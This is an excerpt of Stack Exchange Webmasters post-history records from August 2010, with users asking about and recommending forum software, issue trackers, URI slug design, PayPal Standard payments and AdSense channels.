  <row Id="3992" PostHistoryTypeId="2" PostId="2095" RevisionGUID="b4df1c32-7fe6-4179-a3dd-30ccdb5b27ac" CreationDate="2010-08-10T22:05:09.280" UserId="1111" Text="I would use something like [Trac][1], [Bugzilla][2] or [Roundup][3] (i prefer Roundup). So your users can reports bugs, open feature requests and many more.&#xD;&#xA;&#xD;&#xA;Maybe a Google search for &quot;issue tracker&quot; or &quot;bug tracker&quot; can give you a overview of the different available tools.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://trac.edgewall.org/&#xD;&#xA;  [2]: http://www.bugzilla.org/&#xD;&#xA;  [3]: http://roundup.sourceforge.net/" />
  <row Id="3993" PostHistoryTypeId="2" PostId="2096" RevisionGUID="4bb9d099-adb8-4796-897b-9663459cb449" CreationDate="2010-08-10T22:28:01.087" UserId="221" Text="[Jira][1] is a very good issue tracker and perfect for this job (we use it extensively and it greatly improved how we deal with bugs and feature requests). Jira is offered either as a hosted solution or you can maintain your own install (what we do). It is however not free.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.atlassian.com/software/jira/" />
  <row Id="3994" PostHistoryTypeId="2" PostId="2097" RevisionGUID="907dd8f7-94a3-442c-b806-148a8a06bf32" CreationDate="2010-08-10T22:34:21.643" UserId="210" Text="What forum software is out there?&#xD;&#xA;&#xD;&#xA;I've used [PhpBB][1] in the past, but that was a long time ago and I'm guessing there might be better stuff out there.&#xD;&#xA;&#xD;&#xA;My requirements are:&#xD;&#xA;&#xD;&#xA;- registration required to post (name, email, password)&#xD;&#xA;- public viewing&#xD;&#xA;- some ability to customize&#xD;&#xA;- needs to look reasonably good (it's not for geeks)&#xD;&#xA;- hosted or self hosted&#xD;&#xA;- if self hosted it needs to be PHP &amp; MySQL&#xD;&#xA;- free or paid&#xD;&#xA;&#xD;&#xA;(I can't add tags, but I wanted to tag this &quot;forums&quot;.)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.phpbb.com/" />
  <row Id="3995" PostHistoryTypeId="1" PostId="2097" RevisionGUID="907dd8f7-94a3-442c-b806-148a8a06bf32" CreationDate="2010-08-10T22:34:21.643" UserId="210" Text="Online forum software or services" />
  <row Id="3996" PostHistoryTypeId="3" PostId="2097" RevisionGUID="907dd8f7-94a3-442c-b806-148a8a06bf32" CreationDate="2010-08-10T22:34:21.643" UserId="210" Text="&lt;forum&gt;" />
  <row Id="3997" PostHistoryTypeId="5" PostId="2081" RevisionGUID="73e77536-454b-47c1-9d71-c0fea8c0b433" CreationDate="2010-08-10T22:35:46.523" UserId="26" Comment="added note about what might Sidewiki more influential." Text="I'm not sure people remember [ThirdVoice][1]. SideWiki is basically that, but a decade later. None of [these systems][2] have (yet? ever?) caught on in a big way. These systems are basically just mechanisms for criticism. And just as you can't really control the reviews of your site or business on Yelp or Facebook or even the newspaper, you can't control these systems.&#xD;&#xA;&#xD;&#xA;Here's a [discussion of possible ways to defeat SideWiki][3], though some [are technical][4] and will thus be transient in nature. It looks like there's no `robots.txt`-style opt out at this point.&#xD;&#xA;&#xD;&#xA;Now, based on the [SideWiki API documentation][5], it looks like you can get a feed of your site's SideWiki items, and if you care to, you can counter claims that you feel are in error.&#xD;&#xA;&#xD;&#xA;**EDIT:** Now, given that it's Google who maintains this particular site, if they were to get SideWiki installed by default into Google Chrome, there would be cause for me to be more concerned about the influence of the tool. But as it is, it requires an alternative browser ([FireFox][6], [Chrome][7]), and it requires a browser add on ([FireFox addon][8], Google Toolbar, [Chrome addon][9]). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wired.com/techbiz/media/news/2001/04/42803&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Web_annotation&#xD;&#xA;  [3]: http://www.google.com/support/forum/p/Webmasters/thread?tid=494bb6012632fb05&#xD;&#xA;  [4]: http://code.google.com/p/sidewiki-defeat/&#xD;&#xA;  [5]: http://code.google.com/apis/sidewiki/&#xD;&#xA;  [6]: http://www.mozilla.com/firefox&#xD;&#xA;  [7]: http://www.google.com/chrome&#xD;&#xA;  [8]: https://addons.mozilla.org/en-US/firefox/addon/46311/&#xD;&#xA;  [9]: http://www.google.com/sidewiki/intl/en/index-chrome.html" />
  <row Id="3998" PostHistoryTypeId="2" PostId="2098" RevisionGUID="61ec3d88-0bb3-481d-aba6-f1751486fd46" CreationDate="2010-08-11T00:12:11.950" UserId="1064" Text="I've been a happy [vBulletin][1] user for years and years - if vBulletin doesn't already integrate a feature, there's a plugin for it (or you can write your own without too much difficulty).&#xD;&#xA;&#xD;&#xA;Licensing seems to have increased in price fairly dramatically with the release of vBulletin 4.0, however, I think you'll find it's a worthwhile investment if you plan to have a busy forum.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.vbulletin.com/" />
  <row Id="3999" PostHistoryTypeId="10" PostId="1208" RevisionGUID="35523394-44dd-4d95-ac8d-1bcb9183a524" CreationDate="2010-08-11T00:16:44.750" UserId="138" CloseReasonId="1" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="4000" PostHistoryTypeId="5" PostId="1208" RevisionGUID="4fcc5ace-06aa-4ea0-afdb-5335f593bf29" CreationDate="2010-08-11T00:16:44.857" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Are there any standards for marking the age suitability for website content?](http://webmasters.stackexchange.com/questions/548/are-there-any-standards-for-marking-the-age-suitability-for-website-content)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;What system of self rating should a site now use?&#xD;&#xA;&#xD;&#xA;[SafeSurf][1] seems to be the most natural fit to work with and the PICS system has become a well accepted standard.&#xD;&#xA;&#xD;&#xA;However the new system [POWDER][2] appears to be the upcoming standard. As the documentation for POWDER does not really explain anything and is about as much use as a chocolate kettle, which way are webmasters meant to go?&#xD;&#xA;&#xD;&#xA;There are many images which do not need moderation (unless selling in China - in which case you remove the image from the website regardless of local-side blocking) but several may be classed as &quot;Not Safe for Work&quot; (i.e. nearly topless women on a photographers site).&#xD;&#xA;&#xD;&#xA;There are other more subtle examples such as pictures on a Security company's website that show a hand coming in through smashed glass, they are not really suitable for young children (sends off the wrong image), let alone adverts that do not apply to teenagers and below that you'd rather they did not access.&#xD;&#xA;&#xD;&#xA;Flagging and self-rating would seem the natural approach, but with two competing standards and no obvious central databases to store your own self-moderation on what are the &quot;best practises&quot;?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.safesurf.com/&#xD;&#xA;  [2]: http://www.w3.org/2007/powder/" />
  <row Id="4001" PostHistoryTypeId="16" PostId="2097" RevisionGUID="d85580a8-8c6f-4105-8bb7-e577bec3130d" CreationDate="2010-08-11T00:29:24.490" UserId="180" />
  <row Id="4002" PostHistoryTypeId="16" PostId="2094" RevisionGUID="d686cf0c-2711-412c-a837-7f83d49f176c" CreationDate="2010-08-11T00:30:14.380" UserId="180" />
  <row Id="4003" PostHistoryTypeId="2" PostId="2099" RevisionGUID="2723d739-20df-44a3-a57c-36b29959b651" CreationDate="2010-08-11T01:28:31.540" UserDisplayName="Glenn" Text="On a previous aggregator site I ran I had good success with the [FeedWordPress][1] plugin.&#xD;&#xA;&#xD;&#xA;The only real issue is to be careful of having permission to aggregate the sites that you've chosen or, alternatively, have a clear opt-out form if someone decides they no longer wish you to include their blog on your aggregator. The last thing you want is to get the reputation of a *splogger*!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://feedwordpress.radgeek.com/" />
  <row Id="4004" PostHistoryTypeId="16" PostId="2099" RevisionGUID="2723d739-20df-44a3-a57c-36b29959b651" CreationDate="2010-08-11T01:28:31.540" UserId="-1" />
  <row Id="4005" PostHistoryTypeId="2" PostId="2100" RevisionGUID="080fa182-97cb-466a-ab41-b8ba54b9edc2" CreationDate="2010-08-11T01:31:57.150" UserDisplayName="Glenn" Text="I've been quite happy with [Vanilla Forums][1] on the sites I've used it on. It's not for everyone, but I like its simplicity. It's not too hard to install or administer or customise the themes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://vanillaforums.org/" />
  <row Id="4006" PostHistoryTypeId="16" PostId="2100" RevisionGUID="080fa182-97cb-466a-ab41-b8ba54b9edc2" CreationDate="2010-08-11T01:31:57.150" UserId="-1" />
  <row Id="4007" PostHistoryTypeId="2" PostId="2101" RevisionGUID="1eb2be7f-308a-4f34-a011-04ced3a11979" CreationDate="2010-08-11T01:48:10.947" UserId="124" Text="[bbPress][1] from the makers of WordPress is worth a look.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bbpress.org/" />
  <row Id="4008" PostHistoryTypeId="16" PostId="2101" RevisionGUID="1eb2be7f-308a-4f34-a011-04ced3a11979" CreationDate="2010-08-11T01:48:10.947" UserId="-1" />
  <row Id="4009" PostHistoryTypeId="16" PostId="2098" RevisionGUID="ad5a3746-c9d2-4762-8aa4-e70f47cf85f7" CreationDate="2010-08-11T02:29:14.140" UserId="138" />
  <row Id="4010" PostHistoryTypeId="5" PostId="2079" RevisionGUID="ee3a9249-54ee-46cc-aac0-291357992260" CreationDate="2010-08-11T05:37:29.223" UserId="1408" Comment="added source" Text="Only break the back button if it is expected (if it makes sense to not go back after an event in your website).&#xD;&#xA;&#xD;&#xA;Mozilla did a study about how people are using its browser and the results for the back button are impressive:&#xD;&#xA;&#xD;&#xA;&gt; The Back button is used far more often than any other navigation element (by which we mean the Back, Forward, Reload, Stop, and Home buttons). 93.1% of study participants used the Back button at least once, and **on average, each user clicked Back 66.2 times over the 5 days** – that’s 3x more clicks than the Reload button, 10x more than the Home button, and over 30x more than the Forward and Stop buttons!&#xD;&#xA;&#xD;&#xA;&gt;[source][1]&#xD;&#xA;&#xD;&#xA;I use the back button a lot and I hate it when I can't use it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.mozilla.com/metrics/2010/07/01/firefox-main-window-study-a-heatmap-visualization/" />
  <row Id="4011" PostHistoryTypeId="2" PostId="2102" RevisionGUID="a7bb2495-425e-4c41-ac5f-5b13f1436858" CreationDate="2010-08-11T07:18:10.560" UserId="576" Text="SEOmoz's [Open Site Explorer][1] is a useful link popularity checker &amp; back-link analysis tool.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opensiteexplorer.org/" />
  <row Id="4012" PostHistoryTypeId="16" PostId="2102" RevisionGUID="a7bb2495-425e-4c41-ac5f-5b13f1436858" CreationDate="2010-08-11T07:18:10.560" UserId="-1" />
  <row Id="4013" PostHistoryTypeId="2" PostId="2103" RevisionGUID="cadff6b7-f7c9-44cf-8d60-bfa74e687822" CreationDate="2010-08-11T08:46:30.613" UserId="1240" Text="I have to stick a vote up for your old one, phpBB.&#xD;&#xA;&#xD;&#xA;I have used it for absolutely ages with very few issues." />
  <row Id="4014" PostHistoryTypeId="16" PostId="2103" RevisionGUID="cadff6b7-f7c9-44cf-8d60-bfa74e687822" CreationDate="2010-08-11T08:46:30.613" UserId="-1" />
  <row Id="4015" PostHistoryTypeId="2" PostId="2104" RevisionGUID="14a640ac-37b5-469a-9907-4c822b46b403" CreationDate="2010-08-11T09:08:56.427" UserId="1424" Text="I'm implementing my first web shop. I have 2 questions:&#xD;&#xA;&#xD;&#xA;1) I want to use Paypal Payment Standard for the payment process. It doesn't require to be registered to paypal to perform payment.&#xD;&#xA;&#xD;&#xA;However I've read on a blog that the second time you proceed, it recognize your e-mail address and ask you to register to paypal. Could you give me a 100% sure answer about this ? I really cannot ask customers to create paypal accounts.&#xD;&#xA;&#xD;&#xA;2) Is there something I should know about shopping carts ? For example, should I add term &amp; services ? My customer has a small shop of cosmetics.&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4016" PostHistoryTypeId="1" PostId="2104" RevisionGUID="14a640ac-37b5-469a-9907-4c822b46b403" CreationDate="2010-08-11T09:08:56.427" UserId="1424" Text="webshops with paypal standard payment: 2 questions" />
  <row Id="4017" PostHistoryTypeId="3" PostId="2104" RevisionGUID="14a640ac-37b5-469a-9907-4c822b46b403" CreationDate="2010-08-11T09:08:56.427" UserId="1424" Text="&lt;paypal&gt;" />
  <row Id="4018" PostHistoryTypeId="2" PostId="2105" RevisionGUID="cb4183c0-ca92-4e54-afad-3e93c082b8ef" CreationDate="2010-08-11T09:13:08.870" UserId="1423" Text="It is an old discussion whether an URI should contain only an ID or something describing the content, like this:&#xD;&#xA;&#xD;&#xA;**1)** http://example.com/articles/3252&#xD;&#xA;&#xD;&#xA;From a technical point of view the [pure ID is fine][1], but many people like more descriptive URIs even if they use tools like tinyurl.com to shorten them. Since service like tinyurl.com could be switched off, I prefer short URIs&#xD;&#xA;&#xD;&#xA;**2)** http://example.com/articles/how+to+design+good+uri&#xD;&#xA;&#xD;&#xA;The disadvantage is, the the document title reflected in the URI could never be changed without changing the URI or having URIs that differ from the actual title.&#xD;&#xA;&#xD;&#xA;As a compromise one could add a so called slug to the short URI:&#xD;&#xA;&#xD;&#xA;**3)** http://example.com/articles/3252/how+to+design+good+uri&#xD;&#xA;&#xD;&#xA;The slug has no relevance for retrieving the article so that the document title could be changed, but the problem with URIs not reflecting the changed document title still remains. Another disadvantage is, that the user have to find out what part of the URI is relevant and each site has its own schema for it.&#xD;&#xA;&#xD;&#xA;So which one do you like? Pleas vote up your favourite.&#xD;&#xA;&#xD;&#xA;Other ideas are welcome and can of course be voted too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Provider/Style/URI.html" />
  <row Id="4019" PostHistoryTypeId="1" PostId="2105" RevisionGUID="cb4183c0-ca92-4e54-afad-3e93c082b8ef" CreationDate="2010-08-11T09:13:08.870" UserId="1423" Text="What is good URI design?" />
  <row Id="4020" PostHistoryTypeId="3" PostId="2105" RevisionGUID="cb4183c0-ca92-4e54-afad-3e93c082b8ef" CreationDate="2010-08-11T09:13:08.870" UserId="1423" Text="&lt;design&gt;&lt;url&gt;" />
  <row Id="4024" PostHistoryTypeId="2" PostId="2109" RevisionGUID="ce0e30a4-17b8-4662-b9b3-828a60a94fbc" CreationDate="2010-08-11T09:26:43.623" UserId="1424" Text="I've spent last days to compare different payments gateways solutions. And I've seen that if I want to integrate a payment service (such as paypal, or authorize.net) into my website I need to pay a monthly fee (and not only transaction costs).&#xD;&#xA;&#xD;&#xA;Is this correct ?&#xD;&#xA;&#xD;&#xA;For these reasons, I saw it is much more convenient for me to use Paypal Standard Payment Method and to only pay transaction fees.&#xD;&#xA;&#xD;&#xA;Could you tell me if I'm missing something, or something is wrong ?" />
  <row Id="4025" PostHistoryTypeId="1" PostId="2109" RevisionGUID="ce0e30a4-17b8-4662-b9b3-828a60a94fbc" CreationDate="2010-08-11T09:26:43.623" UserId="1424" Text="how to avoid monthly fees for payment methods on my website" />
  <row Id="4026" PostHistoryTypeId="3" PostId="2109" RevisionGUID="ce0e30a4-17b8-4662-b9b3-828a60a94fbc" CreationDate="2010-08-11T09:26:43.623" UserId="1424" Text="&lt;payments&gt;" />
  <row Id="4027" PostHistoryTypeId="5" PostId="2104" RevisionGUID="72430ff9-31c3-434e-a67c-41d6e59cefb3" CreationDate="2010-08-11T09:27:56.557" UserId="1424" Comment="deleted 161 characters in body; edited title" Text="I'm implementing my first web shop with paypal&#xD;&#xA;&#xD;&#xA;I want to use Paypal Payment Standard for the payment process. It doesn't require to be registered to paypal to perform payment.&#xD;&#xA;&#xD;&#xA;However I've read on a blog that the second time you proceed, it recognize your e-mail address and ask you to register to paypal. Could you give me a 100% sure answer about this ? I really cannot ask customers to create paypal accounts.&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4028" PostHistoryTypeId="4" PostId="2104" RevisionGUID="72430ff9-31c3-434e-a67c-41d6e59cefb3" CreationDate="2010-08-11T09:27:56.557" UserId="1424" Comment="deleted 161 characters in body; edited title" Text="webshops with paypal standard payment" />
  <row Id="4029" PostHistoryTypeId="5" PostId="2105" RevisionGUID="15290f23-b4a2-449d-a301-7026e997bb56" CreationDate="2010-08-11T09:29:38.553" UserId="1423" Comment="removed arguments" Text="It is an old discussion whether an URI should contain only an ID or something describing the content, like this:&#xD;&#xA;&#xD;&#xA;**1)** http://example.com/articles/3252&#xD;&#xA;&#xD;&#xA;**2)** http://example.com/articles/how+to+design+good+uri&#xD;&#xA;&#xD;&#xA;As a compromise one could add a so called slug to the short URI:&#xD;&#xA;&#xD;&#xA;**3)** http://example.com/articles/3252/how+to+design+good+uri&#xD;&#xA;&#xD;&#xA;So which one do you like? Pleas vote up your favourite.&#xD;&#xA;&#xD;&#xA;Other ideas are welcome and can of course be voted too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Provider/Style/URI.html" />
  <row Id="4030" PostHistoryTypeId="2" PostId="2110" RevisionGUID="4882895e-e0fa-46e2-8709-196146b01436" CreationDate="2010-08-11T09:29:48.757" UserId="1424" Text="Im building my first shopping cart.&#xD;&#xA;&#xD;&#xA;Is there something I should know about shopping carts ?&#xD;&#xA;For example, should I tell my customer that he should prepare term &amp; services doc ?&#xD;&#xA;&#xD;&#xA;My customer has a small shop of cosmetics. I would like to know all what I should know.&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="4031" PostHistoryTypeId="1" PostId="2110" RevisionGUID="4882895e-e0fa-46e2-8709-196146b01436" CreationDate="2010-08-11T09:29:48.757" UserId="1424" Text="what should I know about shopping carts ? (terms &amp; services)" />
  <row Id="4032" PostHistoryTypeId="3" PostId="2110" RevisionGUID="4882895e-e0fa-46e2-8709-196146b01436" CreationDate="2010-08-11T09:29:48.757" UserId="1424" Text="&lt;payments&gt;&lt;shopping-cart&gt;" />
  <row Id="4033" PostHistoryTypeId="16" PostId="2105" RevisionGUID="15290f23-b4a2-449d-a301-7026e997bb56" CreationDate="2010-08-11T09:33:15.620" UserId="1423" />
  <row Id="4034" PostHistoryTypeId="2" PostId="2111" RevisionGUID="b54e23bb-1b70-4650-9989-1ee887d8b0ad" CreationDate="2010-08-11T09:59:38.770" UserId="1426" Text="Neither:&#xD;&#xA;&#xD;&#xA;http://example.com/good-uri-design&#xD;&#xA;&#xD;&#xA;or at least:&#xD;&#xA;&#xD;&#xA;http://example.com/articles/good-uri-design&#xD;&#xA;&#xD;&#xA;Good slugs are not necessarily the same as the title, they should be concise and use URL friendly characters." />
  <row Id="4035" PostHistoryTypeId="16" PostId="2111" RevisionGUID="b54e23bb-1b70-4650-9989-1ee887d8b0ad" CreationDate="2010-08-11T09:59:38.770" UserId="-1" />
  <row Id="4036" PostHistoryTypeId="2" PostId="2112" RevisionGUID="848d254a-e270-44d0-a4a9-c41a0f792d1c" CreationDate="2010-08-11T10:06:36.177" UserId="233" Text="The real answer is to use whatever suits your site best. Some facts:&#xD;&#xA;&#xD;&#xA;* Keywords in the URL aid SEO and give users an idea of what the page is about.&#xD;&#xA;* The consensus is that a lowercase slug, separated by dashes, is the best.&#xD;&#xA;* Using ID numbers in URLs is much easier/faster for grabbing the content from the database.&#xD;&#xA;* Search Engines prefer unique URLs, so having part of the URL that has no bearing on what is displayed is best avoided if possible.&#xD;&#xA;* Use [rel=&quot;canonical&quot;][1] if you can't avoid possible duplicates. `example.com/1234/my-page` in theory should be different to `example.com/1234/my-pgae` but for most practical purposes they end up returning the same content, like on this site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="4037" PostHistoryTypeId="16" PostId="2112" RevisionGUID="848d254a-e270-44d0-a4a9-c41a0f792d1c" CreationDate="2010-08-11T10:06:36.177" UserId="-1" />
  <row Id="4038" PostHistoryTypeId="5" PostId="2104" RevisionGUID="b3cdc4e2-eb2c-4022-b4db-283cc03f607c" CreationDate="2010-08-11T10:07:35.850" UserId="1424" Comment="added 701 characters in body; edited title; added 31 characters in body" Text="I'm implementing my first web shop with paypal&#xD;&#xA;&#xD;&#xA;I want to use Paypal Payment Standard for the payment process. It doesn't require to be registered to paypal to perform payment.&#xD;&#xA;&#xD;&#xA;However I've read on a blog that the second time you proceed, it recognize your e-mail address and ask you to register to paypal. Could you give me a 100% sure answer about this ? I really cannot ask customers to create paypal accounts.&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;&#xD;&#xA;**Update**:&#xD;&#xA;I've found the following extract on a website: &#xD;&#xA;&#xD;&#xA;&gt; Are PayPal accounts required in order&#xD;&#xA;&gt; to make a purchase or donation? Not&#xD;&#xA;&gt; any more. It was this way before but&#xD;&#xA;&gt; PayPal.com changed the policy. You may&#xD;&#xA;&gt; make ONE non-recurring transaction&#xD;&#xA;&gt; without opening a PayPal account&#xD;&#xA;&gt; however, PayPal creates a temporary&#xD;&#xA;&gt; PayPal account with credit card number&#xD;&#xA;&gt; used. If you use the same credit card&#xD;&#xA;&gt; again with so many months, PayPal will&#xD;&#xA;&gt; ask to open and verify an account.&#xD;&#xA;&#xD;&#xA;I was wondering how often it should be a payment done to see paypal asking to make an account. For example, let's say that I'm performing the second payment after 2 weeks. Is it going to ask me for a paypal account ?&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;" />
  <row Id="4039" PostHistoryTypeId="4" PostId="2104" RevisionGUID="b3cdc4e2-eb2c-4022-b4db-283cc03f607c" CreationDate="2010-08-11T10:07:35.850" UserId="1424" Comment="added 701 characters in body; edited title; added 31 characters in body" Text="do I need to login the second time I use &quot;paypal standard payment&quot; ?" />
  <row Id="4040" PostHistoryTypeId="2" PostId="2113" RevisionGUID="e069de00-2643-498f-94b9-8be41faf7a34" CreationDate="2010-08-11T10:14:05.907" UserDisplayName="morpheous" Text="On my website, I allow users to create their own forums. &#xD;&#xA;&#xD;&#xA;I use the same template to create the forum page, so according to my understanding thus far of Adsense, it is this template that will be modified to include Adsense ad unit snippets.&#xD;&#xA;&#xD;&#xA;The urls for the forums are dynamic, and look something like this:&#xD;&#xA;&#xD;&#xA;    http://www.example.com/somepath/forum-a.html  (for forum A)&#xD;&#xA;    http://www.example.com/somepath/forum-b.html  (for forum B)&#xD;&#xA;&#xD;&#xA;However, I would like to be able to differentiate revenues from forum A from revenues from forum B etc. Is this possible to do this partitioning (or 'channeling' I suppose is the correct word) using Adsense, and if yes, what are the steps required in doing so?&#xD;&#xA;&#xD;&#xA; " />
  <row Id="4041" PostHistoryTypeId="1" PostId="2113" RevisionGUID="e069de00-2643-498f-94b9-8be41faf7a34" CreationDate="2010-08-11T10:14:05.907" UserDisplayName="morpheous" Text="Adsense for dynamically generated pages" />
  <row Id="4042" PostHistoryTypeId="3" PostId="2113" RevisionGUID="e069de00-2643-498f-94b9-8be41faf7a34" CreationDate="2010-08-11T10:14:05.907" UserDisplayName="morpheous" Text="&lt;google&gt;&lt;google-adsense&gt;" />
  <row Id="4043" PostHistoryTypeId="5" PostId="2105" RevisionGUID="81d76343-a668-4fa3-ad43-6795be52f89c" CreationDate="2010-08-11T10:20:34.627" UserId="1423" Comment="deleted 64 characters in body" Text="It is an old discussion whether an URI should contain only an ID or something describing the content, like this:&#xD;&#xA;&#xD;&#xA;**1)** http://example.com/articles/3252&#xD;&#xA;&#xD;&#xA;**2)** http://example.com/articles/how+to+design+good+uri&#xD;&#xA;&#xD;&#xA;As a compromise one could add a so called slug to the short URI:&#xD;&#xA;&#xD;&#xA;**3)** http://example.com/articles/3252/how+to+design+good+uri&#xD;&#xA;&#xD;&#xA;So which one do you like? Other ideas are welcome.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Provider/Style/URI.html" />
  <row Id="4047" PostHistoryTypeId="2" PostId="2114" RevisionGUID="b9ab84bc-ab98-4ed9-ab09-7c3fcb0d352a" CreationDate="2010-08-11T10:29:56.380" UserDisplayName="datagutt" Text="What about [OpenX][1]?&#xD;&#xA;They even got a hosted service.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openx.org/" />
  <row Id="4048" PostHistoryTypeId="16" PostId="2114" RevisionGUID="b9ab84bc-ab98-4ed9-ab09-7c3fcb0d352a" CreationDate="2010-08-11T10:29:56.380" UserId="-1" />
  <row Id="4049" PostHistoryTypeId="2" PostId="2115" RevisionGUID="187402d2-9275-4449-a2af-2c3ed092010e" CreationDate="2010-08-11T10:48:58.760" UserDisplayName="delete" Text="Yes, you just use the &quot;channels&quot; feature of adsense. Go to &quot;Adsense setup&quot; then &quot;Channels&quot;.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4050" PostHistoryTypeId="2" PostId="2116" RevisionGUID="30260fc9-8af9-4cab-a555-54476667a508" CreationDate="2010-08-11T10:50:13.753" UserDisplayName="delete" Text="PunBB seems good. I've tried it on two sites in total.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4051" PostHistoryTypeId="16" PostId="2116" RevisionGUID="30260fc9-8af9-4cab-a555-54476667a508" CreationDate="2010-08-11T10:50:13.753" UserId="-1" />
  <row Id="4052" PostHistoryTypeId="2" PostId="2117" RevisionGUID="2566becf-d96e-41c5-9ab5-afe4db491c94" CreationDate="2010-08-11T11:00:40.867" UserId="798" Text="I like [SMF][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.simplemachines.org/" />
  <row Id="4053" PostHistoryTypeId="16" PostId="2117" RevisionGUID="2566becf-d96e-41c5-9ab5-afe4db491c94" CreationDate="2010-08-11T11:00:40.867" UserId="-1" />
  <row Id="4054" PostHistoryTypeId="2" PostId="2118" RevisionGUID="88ef57cd-7c17-410c-afaa-cfb190c8d7cf" CreationDate="2010-08-11T11:07:12.993" UserId="798" Text="I use [Mantis][1]. It is not as extensive as BugZilla, but most users find it easy to work with.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mantisbt.org/" />
  <row Id="4055" PostHistoryTypeId="16" PostId="2118" RevisionGUID="88ef57cd-7c17-410c-afaa-cfb190c8d7cf" CreationDate="2010-08-11T11:07:12.993" UserId="-1" />
  <row Id="4056" PostHistoryTypeId="5" PostId="2046" RevisionGUID="76d24c21-eba6-4ad0-88ac-f5ecda827568" CreationDate="2010-08-11T11:33:46.507" UserId="233" Comment="edited body" Text="##Joomla&#xD;&#xA;&#xD;&#xA;Strengths:&#xD;&#xA;&#xD;&#xA;* True content management system, unlike Wordpress.&#xD;&#xA;* Admin interface is pretty easy to use, once you have the hang of it.&#xD;&#xA;* Many many themes, components, plugins and modules.&#xD;&#xA;* Making your own templates is incredibly easy.&#xD;&#xA;* The Joomla framework is rock solid, although it takes a little effort to get your head round when you are developing extensions.&#xD;&#xA;* Not as popular as Wordpress so security flaws are rarer and less exploited. Vulnerabilities are patched very quickly though.&#xD;&#xA;&#xD;&#xA;Weaknesses:&#xD;&#xA;&#xD;&#xA;* Often the better themes and components have restrictive licenses.&#xD;&#xA;* No custom user permissions management yet (it's coming in 1.6). But it has 8 fixed permission levels (User, Editor, Admin etc).&#xD;&#xA;* SEO isn't quite as good out of the box but there are components to handle that.&#xD;&#xA;* Generally development is slow, apart from security/bug fixes. Version 1.6 has been in development for at least 2 years now!&#xD;&#xA;" />
  <row Id="4057" PostHistoryTypeId="2" PostId="2119" RevisionGUID="6a4a37fa-ec73-46c3-8bd9-9739941c442a" CreationDate="2010-08-11T11:36:10.653" UserId="221" Text="Have you considered using Google Checkout? Like PayPal Payment Standard it does not require a monthly fee.&#xD;&#xA;&#xD;&#xA;[Google][1] :&#xD;&#xA;&#xD;&#xA;&gt; When you use Google Checkout to process your sales, you'll be charged rates as low as 1.9% + $0.30 per transaction, depending on your monthly sales volume. And there are no monthly, setup or gateway fees. &#xD;&#xA;&#xD;&#xA;Although, I do think it makes you have an account, but so many people have a Google account anyway ...&#xD;&#xA;&#xD;&#xA;  [1]: https://checkout.google.com/sell/?gl=IS&amp;hl=en" />
  <row Id="4058" PostHistoryTypeId="2" PostId="2120" RevisionGUID="96d33ee0-bf77-479e-b4f1-3559f165064e" CreationDate="2010-08-11T11:57:42.453" UserId="1253" Text="You understand it correctly. The vast majority of payment services have monthly fees associated with them. This includes a merchant account monthly fee as well as a payment gateway monthly fee. If you wish to avoid this fee you can use some of the services offered by third party processors such as Paypal Standard and Google Checkout. The downside to these services is that you lose flexibility as these services typically do not allow for a seamless integration into your website (i.e. your customer has to leave your website to make payment). It's a trade off: no monthly fee vs customization. If you want to avoid monthly fees go with services like Paypal Standard that don't have monthly fees. If you want full control over the checkout process use a service like Authorize.Net." />
  <row Id="4059" PostHistoryTypeId="5" PostId="2104" RevisionGUID="6737ddac-6f0a-47d5-bb11-e7ee5e5cf66a" CreationDate="2010-08-11T12:01:59.747" UserId="1424" Comment="deleted 89 characters in body" Text="Paypal Payment Standard oesn't require to be registered to paypal to perform payment.&#xD;&#xA;&#xD;&#xA;However I've read on a blog that the second time you proceed, it recognize your credit card and ask you to register to paypal.&#xD;&#xA;&#xD;&#xA;Could you give me a 100% sure answer about this ? I really cannot ask customers to create paypal accounts.&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;&#xD;&#xA;**Update**:&#xD;&#xA;I've found the following extract on a website: &#xD;&#xA;&#xD;&#xA;&gt; Are PayPal accounts required in order&#xD;&#xA;&gt; to make a purchase or donation? Not&#xD;&#xA;&gt; any more. It was this way before but&#xD;&#xA;&gt; PayPal.com changed the policy. You may&#xD;&#xA;&gt; make ONE non-recurring transaction&#xD;&#xA;&gt; without opening a PayPal account&#xD;&#xA;&gt; however, PayPal creates a temporary&#xD;&#xA;&gt; PayPal account with credit card number&#xD;&#xA;&gt; used. If you use the same credit card&#xD;&#xA;&gt; again with so many months, PayPal 